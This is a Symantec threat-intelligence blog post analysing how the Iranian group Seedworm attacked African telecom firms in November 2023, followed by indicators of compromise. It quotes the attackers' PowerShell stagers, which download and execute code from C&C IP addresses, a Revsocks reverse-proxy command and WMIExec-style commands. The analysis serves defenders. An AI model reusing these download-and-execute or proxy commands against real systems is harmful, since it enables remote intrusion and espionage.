Seedworm: Iranian Hackers Target Telecoms Orgs in North and East Africa

symantec-enterprise-blogs.security.com/blogs/threat-intelligence/iran-apt-seedworm-africa-telecoms

Iranian espionage group Seedworm (aka Muddywater) has been targeting organizations operating in the telecommunications sector in Egypt, Sudan, and Tanzania.

Seedworm has been active since at least 2017, and has targeted organizations in many countries, though it is most strongly associated with attacks on organizations in the Middle East. It has been publicly stated that Seedworm is a cyberespionage group that is believed to be a subordinate part of Iran's Ministry of Intelligence and Security (MOIS).

The attackers used a variety of tools in this activity, which occurred in November 2023, including leveraging the MuddyC2Go infrastructure, which was recently discovered and documented by Deep Instinct. Researchers on Symantec's Threat Hunter Team, part of Broadcom, found a MuddyC2Go PowerShell launcher in the activity we investigated.

The attackers also use the SimpleHelp remote access tool and Venom Proxy, which have previously been associated with Seedworm activity, as well as using a custom keylogging tool, and other publicly available and living-off-the-land tools.

Attack Chain

The attacks in this campaign occurred in November 2023. Most of the activity we observed occurred on one telecommunications organization. The first evidence of malicious activity was some PowerShell executions related to the MuddyC2Go backdoor.

A MuddyC2Go launcher named “vcruntime140.dll” was saved in the folder “csidl_common_appdata\javax”, which seems to have been sideloaded by jabswitch.exe. Jabswitch.exe is a legitimate Java Platform SE 8 executable.

The MuddyC2Go launcher executed the following PowerShell code to connect to its command-and-control (C&C) server:

```
tppmjyfiqnqptrfnhhfeczjgjicgegydytihegfwldobtvicmthuqurdynllcnjworqepp;$tppmjyfiqnqptrfnhhfeczjgjicgegydytihegfwldobtvicmthuqurdynllcnjworqepp="tppmjyfiqnqptrfnhhfeczjgjicgegydytihegfwldobtvicmthuqurdynllcnjworqepp";$uri="http://95.164.38.99:443/HR5rOv8enEKonD4a0UdeGXD3xtxWix2Nf";$response = Invoke-WebRequest -Uri $uri -Method GET -ErrorAction Stop -usebasicparsing;iex $response.Content;
```

It appears that the variables at the beginning of the code are there for the purposes of attempting to bypass detection by security software, as they are unused and not relevant.

Right after this execution, attackers launched the MuddyC2Go malware using a scheduled task that had previously been created:

```
"CSIDL_SYSTEM\schtasks.exe" /run /tn "Microsoft\Windows\JavaX\Java Autorun"
```

The attackers also used some typical commands related to the Impacket WMIExec hacktool:

```
cmd.exe /Q /c cd \ 1> \\127.0.0.1\ADMIN$\__1698662615.0451615 2>&1
```

The SimpleHelp remote access tool was also leveraged, connecting to the 146.70.124[.]102 C&C server. Further PowerShell stager execution also occurred, while the attacker also executed the Revsocks tool:

```
CSIDL_COMMON_APPDATA\do.exe -co 94.131.3.160:443 -pa super -q
```

The attackers also used a second legitimate remote access tool, AnyDesk, which was deployed on the same computer as Revsocks and SimpleHelp, while PowerShell executions related to MuddyC2Go also occurred on the same machine:

```
$uri ="http://45.150.64.39:443/HJ3ytbqpne2tsJTEJi2D8s0hWo172A0aT";$response = Invoke-WebRequest -Uri $uri -Method GET -ErrorAction Stop -usebasicparsing;iex $response.Content;
```

Notably, this organization is believed to have previously been infiltrated by Seedworm earlier in 2023. The primary activity of note during that intrusion was extensive use of SimpleHelp to carry out a variety of activity, including:

- Launching PowerShell
- Launching a proxy tool
- Dumping SAM hives
- Using WMI to get drive info
- Installing the JumpCloud remote access software
- Delivering proxy tools, a suspected LSASS dump tool, and a port scanner.

During that intrusion, it's believed the attackers used WMI to launch the SimpleHelp installer on the victim network. At the time, this activity couldn't be definitively linked to Seedworm, but this subsequent activity appears to show that the earlier activity was carried out by the same group of attackers.

In another telecommunications and media company targeted by the attackers, multiple incidents of SimpleHelp were used to connect to known Seedworm infrastructure. A custom build of the Venom Proxy hacktool was also executed on this network, as well as the new custom keylogger used by the attackers in this activity.

In the third organization targeted, Venom Proxy was also used, in addition to AnyDesk and suspicious Windows Scripting Files (WSF) that have been associated with Seedworm activity in the past.

Toolset

The most interesting part of the toolset used in this activity is probably the presence of the MuddyC2Go launcher, which was sideloaded by jabswitch.exe.

The malware reads the C&C URL from the Windows registry value "End" stored inside the key "HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip". The URL path is read from the "Status" value in the same aforementioned key.

Lastly, the MuddyC2GO launcher executes the following PowerShell command to contact its C&C server and execute the PowerShell code received:

```
powershell.exe -c $uri ='{C2_URI}';$response = Invoke-WebRequest -UseBasicParsing -Uri $uri -Method GET -ErrorAction Stop;Write-Output $response.Content;iex $response.Content;
```

The MuddyC2Go framework was first publicly written about in a blog published by Deep Instinct researchers on November 8, 2023. That blog documented its use in attacks on organizations in countries in the Middle East. The researchers said the framework may have been used by Seedworm since 2020. They also said that the framework, which is written in Go, has replaced Seedworm's previous PhonyC2 C&C infrastructure. This replacement appears to have occurred after the PhonyC2 source code was leaked earlier in 2023. The full capabilities of MuddyC2Go are not yet known, but the executable contains an embedded PowerShell script that automatically connects to Seedworm's C&C server, which eliminates the need for manual execution by an operator and gives the attackers remote access to a victim machine. Deep Instinct said it was able to link MuddyC2Go to attacks dating back to 2020 due to the unique URL patterns generated by the framework. It also said that the MuddyC2Go servers it observed were hosted at "Stark Industries", which is a VPS provider that is known to host malicious activity.

Other tools of note used in this activity included SimpleHelp, which is a legitimate remote device control and management tool, for persistence on victim machines. SimpleHelp is believed to have been used in attacks carried out by Seedworm since at least July 2022. Once installed on a victim device, SimpleHelp can constantly run as a system service, which makes it possible for attackers to gain access to the user's device at any point in time, even after a reboot. SimpleHelp also allows attackers to execute commands on a device with administrator privileges. SimpleHelp is now strongly associated with Seedworm activity and the tool is installed on several of Seedworm's servers.

Venom Proxy is a publicly available tool that is described as "a multi-hop proxy tool developed for penetration testers." It is written in Go. It can be used to easily proxy network traffic to a multi-layer intranet, and easily manage intranet nodes. It has been associated with Seedworm since at least mid-2022, with Microsoft describing it as Seedworm's "tool of choice" in an August 2022 blog. Seedworm tends to use a custom build of Venom Proxy in its activity.

Other tools used in this activity include:

- **Revsocks** - A cross-platform SOCKS5 proxy server program/library written in C that can also reverse itself over a firewall.
- **AnyDesk** - A legitimate remote desktop application. It and similar tools are often used by attackers to obtain remote access to computers on a network.
- **PowerShell** - Seedworm makes heavy use of PowerShell, as well as PowerShell-based tools and scripts in its attacks. PowerShell is a Microsoft scripting tool that can be used to run commands, download payloads, traverse compromised networks, and carry out reconnaissance.
- **Custom keylogger**

Conclusion

Seedworm has long had an interest in telecommunications organizations, as do many groups engaged in cyberespionage activities. However, its strong focus on African organizations in this campaign is notable as, while it has been known to target organizations in Africa in the past, it does generally primarily focus on organizations in countries in the Middle East. That one of the victim organizations in this campaign is based in Egypt is also of note given Egypt's proximity to Israel, a frequent target of Seedworm.

Seedworm appears to remain focused on using a wide array of living-off-the-land and publicly available tools in its attack chains, no doubt in an effort to remain undetected on victim networks for as long as possible. However, its recent more wide adoption of new C&C infrastructure in the form of MuddyC2Go is notable and shows that the group continues to innovate and develop its toolset when required in order to keep its activity under the radar. While the group uses a lot of living-off-the-land and publicly available tools, it is also capable of developing its own custom tools, such as the custom build of Venom Proxy and the custom keylogger used in this campaign. The group still makes heavy use of PowerShell and PowerShell-related tools and scripts, underlining the need for organizations to be aware of suspicious use of PowerShell on their networks.

The activity observed by Symantec's Threat Hunter Team took place in November 2023, showing that Seedworm is very much a currently active threat faced by organizations that may be of strategic interest to Iranian threat actors.

Protection/Mitigation

For the latest protection updates, please visit the Symantec Protection Bulletin.

Indicators of Compromise

If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.

File Indicators

1a0827082d4b517b643c86ee678eaa53f85f1b33ad409a23c50164c3909fdaca – MuddyC2Go DLL launcher

25b985ce5d7bf15015553e30927691e7673a68ad071693bf6d0284b069ca6d6a – Benign Java(TM) Platform SE 8 executable used for sideloading MuddyC2Go DLL

eac8e7989c676b9a894ef366357f1cf8e285abde083fbdf92b3619f707ce292f – Custom keylogger

3916ba913e4d9a46cfce437b18735bbb5cc119cc97970946a1ac4eab6ab39230 – Venom Proxy

Network Indicators

146.70.124[.]102 – SimpleHelp C&C server

94.131.109[.]65 – MuddyC2Go C&C server

95.164.38[.]99 –MuddyC2Go C&C server

45.67.230[.]91 – MuddyC2Go C&C server

45.150.64(.)39 - MuddyC2Go C&C server

95.164.46[.]199 – MuddyC2Go C&C server

94.131.98[.]14 – MuddyC2Go C&C server

94.131.3[.]160 – GoSOCKS5proxy C&C server

About the Author

Threat Hunter Team

Symantec

The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks.